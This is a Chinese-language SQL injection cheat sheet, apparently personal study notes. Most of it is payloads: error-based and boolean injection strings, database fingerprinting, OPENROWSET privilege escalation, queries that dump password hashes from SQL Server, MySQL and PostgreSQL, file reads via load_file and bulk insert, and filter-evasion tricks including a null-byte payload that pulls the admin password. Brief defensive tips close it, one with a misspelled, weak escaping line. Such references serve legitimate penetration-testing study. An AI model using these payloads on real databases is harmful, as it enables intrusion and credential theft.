查询元数据
–Oracle
SELECT OWNER,TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;
–MYSQL
SELECT table_schema,table_name FROM information_schema.tables;
–MSSQL
SELECT name FROM sysobjects WHERE xtype = 'U';
SELECT name FROM sys.tables;
报错注入-SQL Server
?site=a' having 1'='1
报错:Column ‘products.productid’ …
?site=a' GROUP BY productid having '1'='1
报错:Column ‘products.name’ …
?site=a' GROUP BY productid,name having '1'='1
报错:Column ‘products.price’ …
防御措施(修改web.config文件):
关闭错误显示
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>
根据产生错误显示不同页面
<configuration>
<system.web>
<customErrorsdefaultRedirect="Error.aspx" mode="On">
<errorstatusCode="404" redirect="NotFound.aspx"/>
</customErrors>
</system.web>
</configuration>
猜测数据库(特征值判断)
?User=Bob --原始请求
?User=B' + 'ob --MSSQL Server
?User=B' 'ob --MySQL Server
?User=B' || ' ob --Oracle或PostgreSQL
查询数据库版本
Microsoft SQL Server -- SELECT @@version
MySQL -- SELECT @@version / SELECT version()
Oracle -- SELECT banner FROM v$version (WHERE rownum=1)
PostgreSQL -- SELECT version()
基于内容注入(SQL Server)
?id=12+(case when(system_user='sa')then 1 else 0 end)
查询正确:id=13
查询错误:id=12
关键语句:
case when(XXX='???') then 1 else 0 end
查询数据库信息(MySQL 5以后的版本)
数据库授予用户的权限
SELECT grantee,table_schema,privilege_type,is_grantable FROM information_schema.schema_privileges
数据库的文件保存在与数据库名称相同的目录下。查询该目录:
SELECT @@datadir
数据库的所有表包含在一个扩展名为MYD的文件中。查询数据库中特定表的内容:
SELECT load_file('databasename/tablename.MYD')
提升权限
SQL Server
SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=10.0.0.2;uid=fpp;pwd=password','
SELECT column1 FROM tableA')
解释:以用户foo连接到地址为10.0.0.2的SQL Server并执行SELECT查询语句,最外层的查询传递并返回该查询的结果。
需要提供正确的口令以便验证能通过。
对应信息 :
Address:数据库IP地址
uid:用户名
pwd:密码
检测当前使用的验证模式:
select serverproperty('IsIntegratedSecurityOnly')
若只有Windows验证模式,返回1
检测OPENROWSET是否可用:
select value_in_use from sys.configurations where name like 'AD Hoc%'
可用则返回1
实现整个过程的自动化工具:
Bobcat,Burp Intruder,Sqlninja
窃取哈希口令
SQL Server(必须要有管理员权限)
检索哈希口令:
SELECT password_hash FROM sys.sql_logins
哈希结构:
0x0100:头
跟着的8位数字:salt
剩余部分:区分大小写的哈希
将哈希值强制转换成十六进制字符串:
fn_varbintohexstr()
破解工具:
- NGSSQLCrack
- Cain&Abel
MySQL
提取哈希口令与所属用户名的查询:
SELECT user,password FROM mysql.user;
MySQL(4.1及之后的版本)生成的哈希口令均以星号开头。
破解工具:
- John the Ripper
- Cain&Abel
PostgreSQL(具有administrative权限)
提取密码的哈希:
SELECT usename, passwd FROM pg_shadow
SELECT rolname, rolepassword FROM pg_authid
自动SQL盲注工具
- Absinthe
- BSQL Hacker
- SQLBrute
- Sqlmap
- Sqlninja
- Squeeza
文件读取
MySQL
要求数据库用户拥有File权限,且读取的文件要支持完全可读。
load data infile '/tmp/users.txt' into table test fields terminated by '';
select LOAD_FILE('/tmp/test.txt');//可以不创建表
SQL Server
create table hacked(line varchar(8000));bulk insert from 'c:\boot.ini';--
避开输入过滤器
使用大小写变种
SELECT => SeLeCt
使用注释代替空格
union select => union/**/select
union select => un/**/ion/**/sel/**/ect
使用URL编码
- 使用字符的十六进制ASCII码替换,并在ASCII码前加%
- 双URL编码
关键字拆分
Oracle:'SEL'||'ECT'
MSSQL:'SEL'+'ECT' (加号)编码成%2b
MySQL:'SEL' 'ECT' (空格)编码成%20
SQL Server:CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
使用十六进制代表字符串
使用空字节
针对使用C++编写的IDS或WAF(语句开头%00截断)
%00' UNION SELECT password FROM tblUsers WHERE username ='admin'--
双层关键字
SELECT =>SELSELECTECT
防御二次注入
为所有数据库访问使用参数化查询并正确地参数化集成到查询中的每个可变数据项。
代码层防御
输入验证
白名单策略
根据已知信息使用表单验证
– 已知的值
– 数据类型
– 数据大小
– 数据范围
– 数据内容
黑名单策略
- 拒绝已记录的不良输入。
- 拒绝某些特殊字符。
编码输出
sql = sql.repalce("'","\'");